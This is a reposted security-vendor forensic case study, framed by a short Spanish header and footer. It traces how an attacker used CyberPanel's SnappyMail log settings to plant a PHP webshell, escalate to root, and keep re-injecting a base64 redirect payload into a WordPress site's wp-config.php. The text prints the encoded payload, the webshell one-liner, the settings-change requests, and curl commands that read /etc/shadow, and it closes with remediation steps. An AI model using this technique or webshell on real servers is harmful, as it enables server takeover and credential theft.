Registro webmail: la vulnerabilidad que abrió una puerta trasera crítica

Este es un resumen del artículo. Si necesitas contexto adicional, aquí tienes el enlace original: https://www.wordfence.com/blog/2026/05/how-a-webmail-log-file-became-a-root-level-backdoor/

THREAT ANALYSIS

May 2026 · Forensic Case Study

A forensic breakdown of how an attacker turned CyberPanel’s SnappyMail logging into a persistent webshell that survived every WordPress cleanup attempt.

A WordPress site owner reported redirect malware on their site. They found that clicking anywhere on the page would open spam links in new tabs. They also noticed Yandex Metrica requests appearing in their browser’s network tab but couldn’t find the tracking code anywhere in their files or database. Every time they cleaned the infection from wp-config.php, it came back within hours.

After a clean WordPress-level audit by a Wordfence security analyst — no rogue files, no database injections, no compromised admin accounts — we expanded the investigation to the server level. What we found was a clever attack chain that turned a webmail log file into a root-level backdoor, completely invisible to any WordPress-level security tool.

The Malware: A Double-Encoded Redirect Payload

The infection was a single line injected at the very top of wp-config.php:

<?php
 eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVhONWJtTXVaM041Ym1ScFkyRjBhVzl1TG1OdmJTOGlQand2YzJOeWFYQjBQZz09IikpOwp9"));

Decoding the base64 revealed a carefully crafted payload with two layers:

Decoded Payload// Layer 1: Decoded PHP
ini_set("display_errors", 0);
ini_set("display_startup_errors", 0);

if (PHP_SAPI !== "cli" && (
    strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false &&
    strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false &&
    strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false &&
    strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false &&
    strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false &&
    strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest"
)) {
    print(base64_decode("PHNjcmlwdCBzcmM9Ii8vYXN5bmMuZ3N5bmRpY2F0aW9uLmNvbS8iPjwvc2NyaXB0Pg=="));
}

// Layer 2: The decoded HTML output
<script src="//async.gsyndication.com/"></script>

The payload was surgically evasive. It only executed on frontend page loads, specifically excluding:

• The WordPress admin panel (/wp-admin)
• The REST API (/wp-json, /wp/v2)
• AJAX requests (admin-ajax.php)
• The login page (/wp-login.php)
• Any XHR requests

This meant the site owner could browse their entire admin panel without ever seeing the malware in action. Only their visitors experienced the redirect popups and Yandex Metrica tracking.

The WordPress Audit Came Back Clean

Wordfence performed a comprehensive WordPress-level forensic audit covering every standard attack vector. The results were surprising:

Check	Result
WordPress core checksums	Clean
Plugin checksums (25/28 verifiable)	Clean
PHP files in uploads/images directories	None found
Obfuscated PHP/JS patterns	None detected
Rogue admin accounts	None (only 2 legitimate users)
Database injections (posts, options, snippets)	None detected
Malicious cron jobs or DB triggers	None detected
.htaccess files (14 found)	All legitimate
Unauthorized wp-login.php access	None (Wordfence blocked 3,000+ brute force attempts)

Every check was clean — including wp-config.php. When the security analyst performed the audit, the site owner had already removed the malicious payload from the file, so the copy we analyzed was uninfected. It appeared the site had been fully cleaned.

While the audit was underway, the site owner contacted the Wordfence team to report the site was acting up again. We checked wp-config.php on the live production server — and the base64 payload was back. The re-infection had happened after the owner’s cleanup but during our audit window. Since we already knew the WordPress webroot was clean — no webshells, no rogue files, no database-level persistence — it was clear that something outside WordPress was writing to wp-config.php.

Finding the Root Cause

With WordPress ruled out, we shifted our focus to the server level. We searched the entire filesystem for the base64 payload string that appeared in the wp-config.php injection:

The Search$ grep -rl 'aW5pX3NldCgiZGlzcGxheV9lcnJvcnMi' /usr/local/ /opt/ /var/ /tmp/ /root/

One result came back:

Result/usr/local/CyberCP/public/snappymail/data/_data_/_default_/logs/shell.php

A 1.2MB PHP file in the SnappyMail webmail logs directory — well outside the WordPress webroot. This was the persistence mechanism we’d been looking for.

The Attack Chain: Step by Step

Reading the contents of shell.php revealed a complete forensic timeline of the attack, captured in SnappyMail’s own log entries. The entire compromise took 14 seconds.

The server runs CyberPanel, which includes SnappyMail webmail on port 8090. SnappyMail has its own admin panel with a separate login. The attacker logged in successfully using the default username and a known (or brute-forced) password:

SnappyMail Log[2026-04-22 10:06:50.807] JSON[INFO]: Action: DoAdminLogin
[2026-04-22 10:06:50.807] POST[INFO]: {
  "Action": "AdminLogin",
  "Login": "USER",
  "Password": "***"
}
[2026-04-22 10:06:50.926] JSON[INFO]: {
  "Action": "AdminLogin",
  "Result": { "Auth": true }
}

No 2FA was configured on the SnappyMail admin panel (admin_totp = "" in the config).

Within the same second of logging in, the attacker used the admin API to change the logging configuration. They changed the log filename from the default .txt extension to .php:

SnappyMail Log[2026-04-22 10:06:50.961] JSON[INFO]: Action: DoAdminSettingsSet
[2026-04-22 10:06:50.961] POST[INFO]: {
  "Action": "AdminSettingsSet",
  "config": {
    "logs": {
      "enable": "1",
      "filename": "shell.php",
      "level": "7",
      "hide_passwords": "0"
    }
  }
}
[2026-04-22 10:06:50.961] JSON[INFO]: { "Result": true }

Three changes were made, all critical:

• filename = "shell.php" — log entries now go to a file with a PHP extension
• level = "7" — maximum debug logging, capturing everything
• hide_passwords = "0" — plaintext credentials visible in logs

Still within the same second (10:06:50.989), the attacker submitted a new login attempt — but this time, the “username” was PHP code:

SnappyMail Log[2026-04-22 10:06:50.989] JSON[INFO]: Action: DoAdminLogin
[2026-04-22 10:06:50.989] POST[INFO]: {
  "Action": "AdminLogin",
  "Login": "<?php echo shell_exec($_GET[chr(99)]); ?>",
  "Password": "***"
}

The login fails with AuthError[102] — but that doesn’t matter. SnappyMail has already written the PHP code into shell.php as part of the log entry. Within 5 seconds, the attacker also created a cleaner standalone backdoor:

cmd.php// cmd.php — 42 bytes
<?php echo shell_exec($_GET[chr(99)]); ?>

The critical detail is where the log file lives on the filesystem:

File Path/usr/local/CyberCP/public/snappymail/data/_data_/_default_/logs/shell.php
                    ↑
    This is the document root for CyberPanel's web server (port 8090)

CyberPanel runs its own LiteSpeed-based web server daemon (lscpd) on port 8090, with its document root at /usr/local/CyberCP/public/. Any .php file under this tree is executed as PHP code when accessed via HTTP, not served as plain text.

When LiteSpeed processes shell.php, the plain text log entries are output as-is (PHP ignores text outside of <?php ?> tags), but the PHP code inside the “username” field is executed. The webshell becomes accessible at:

Webshell URLhttps://SERVER_IP:8090/snappymail/data/_data_/_default_/logs/shell.php?c=COMMAND
                                                                      ↑
                                               chr(99) = 'c' -- the command parameter

The webshell runs commands as the lscpd user (the CyberPanel web server process). This user cannot directly write to WordPress files, which are owned by a different system user. However:

Privilege Check$ id lscpd
uid=5001(lscpd) gid=5001(lscpd) groups=5001(lscpd),27(sudo),988(lsadm)

# From the sudoers configuration:
lscpd ALL=(ALL) NOPASSWD: ALL

Confirming root access was trivial:

Root Verification$ curl -sk "https://SERVER_IP:8090/.../cmd.php?c=whoami"
lscpd

$ curl -sk "https://SERVER_IP:8090/.../cmd.php?c=sudo+whoami"
root

$ curl -sk "https://SERVER_IP:8090/.../cmd.php?c=sudo+cat+/etc/shadow+|+head+-1"
root:$6$O35IwC3s...  (full shadow file readable)

With root access, the attacker could modify wp-config.php (owned by a different system user) at will, re-inserting the base64 redirect payload approximately every 2-6 hours. Each time the site owner cleaned the file, the next scheduled re-injection restored it.

Timestamp Correlation# wp-config.php modification timestamp:
Modify: 2026-04-23 22:33:48

# Webshell re-injection in the SnappyMail log, 14 seconds earlier:
[2026-04-23 22:33:34] ... "Login":"<?php echo shell_exec($_GET[chr(99)]); ?>"

Because the attacker set the log level to debug (7) and disabled password hiding, the shell.php log file also captured all email activity — including the site owner’s email to Wordfence support requesting help:

SnappyMail Log -- Email Captured[2026-04-23 15:20:30] POST[INFO]: {
  "Action": "SendMessage",
  "from": "USER <USER@example.com>",
  "to": ""Wordfence Support" <tickets@wordfence.com>",
  "subject": "Re: Care Audit Requested",
  "plain": "Hi ...,nnI've disabled 2FA.nnThanks again..."
}

The attacker could see that the site owner contacted Wordfence, what they reported, and that they had disabled 2FA.

---

The Complete Attack Chain

---

Attack Timeline

---

Why This Wasn’t Detected at the WordPress Level

This attack was invisible to any WordPress-level security plugin for a fundamental reason: the backdoors existed outside the WordPress webroot entirely.

Server ArchitectureCyberPanel (port 8090)                 WordPress (port 443)
---------------------                   ---------------------
/usr/local/CyberCP/public/              /home/USER/public_html/
  |-- snappymail/                         |-- wp-config.php  <- INJECTED
  |   |-- data/.../logs/                  |-- wp-content/
  |   |   |-- shell.php  <- WEBSHELL     |-- wp-admin/
  |   |-- data/.../                       |-- wp-includes/
  |   |   |-- cmd.php    <- BACKDOOR
  |-- phpmyadmin/                       ^ WordPress-level plugins scan here
  |-- static/
^ No WordPress plugin scans here

Wordfence’s WordPress security plugin scans and protects files within the WordPress installation directory. It has no visibility into server-level applications like CyberPanel, SnappyMail, or phpMyAdmin, which run as separate services under different system users and directory trees. The attacker exploited this architectural boundary deliberately.

---

Wordfence CLI: Detecting What the Plugin Can’t Reach

While the Wordfence plugin is scoped to the WordPress webroot, Wordfence CLI is a standalone server-level malware scanner that can scan any directory on the filesystem. When we pointed Wordfence CLI at the SnappyMail data directory, it immediately identified both backdoors:

The scan was run against the preserved copy of the SnappyMail configuration directory, which contained the full data tree including configuration files, cached data, and the logs directory where the webshell was planted:

Directory Structure Scannedsnappymail/
|-- data/_data_/_default_/
    |-- configs/
    |   |-- application.ini
    |-- domains/
    |   |-- default.json
    |   |-- [site-specific configs]
    |-- logs/
    |   |-- shell.php          <- DETECTED
    |-- cmd.php                <- DETECTED
    |-- cache/
    |   |-- [16 cached objects]
    |-- plugins/
    |-- storage/
        |-- [user mailbox data]

53 directories, 32 files

Both files were flagged with the signature Obfuscated:PHP/superglobal.func.B.10513 — detecting the use of $_GET with an obfuscated parameter via chr() inside a shell_exec() call.

---

Three Compounding Failures

This attack required three independent security weaknesses to succeed. Any one of them, if addressed, would have broken the chain:

---

Attacker Profile

Attribute	Detail
IP Address	94.102.55.18
Location	Netherlands
ASN	AS202425 (IP Volume inc)
VirusTotal	9/94 vendors flag as malicious
SSL Certificate	secure.gdcstatic.com (typosquat)
User Agent	python-requests/2.31.0
Associated Domains	gsyndication.com, gdcstatic.com, gocloudmaps.com, imasync.com, quickcontentnetwork.com, globalultracdn.com, metricaga.com, metricastats.com, cdzanalytics.com, and 20+ more

---

Remediation and Lessons Learned

Immediate Actions Taken

• Removed both backdoor files (shell.php and cmd.php)
• Restored SnappyMail log filename to log-{date:Y-m-d}.txt
• Re-enabled password hiding and reduced log level
• Cleaned the wp-config.php injection
• Blocked the attacker IP via firewalld
• Changed SnappyMail admin credentials (username and password)
• Rotated the database password

Recommendations for CyberPanel Users

The broader lesson is that WordPress security doesn’t end at the webroot. When a site runs on a self-managed server with a hosting panel, the panel itself becomes part of the attack surface. In this case, the hosting panel’s webmail application — which had nothing to do with WordPress — was the entry point that led to complete server compromise.

The post How a Webmail Log File Became a Root-Level Backdoor appeared first on Wordfence.

Puedes consultar el artículo original aquí: https://www.wordfence.com/blog/2026/05/how-a-webmail-log-file-became-a-root-level-backdoor/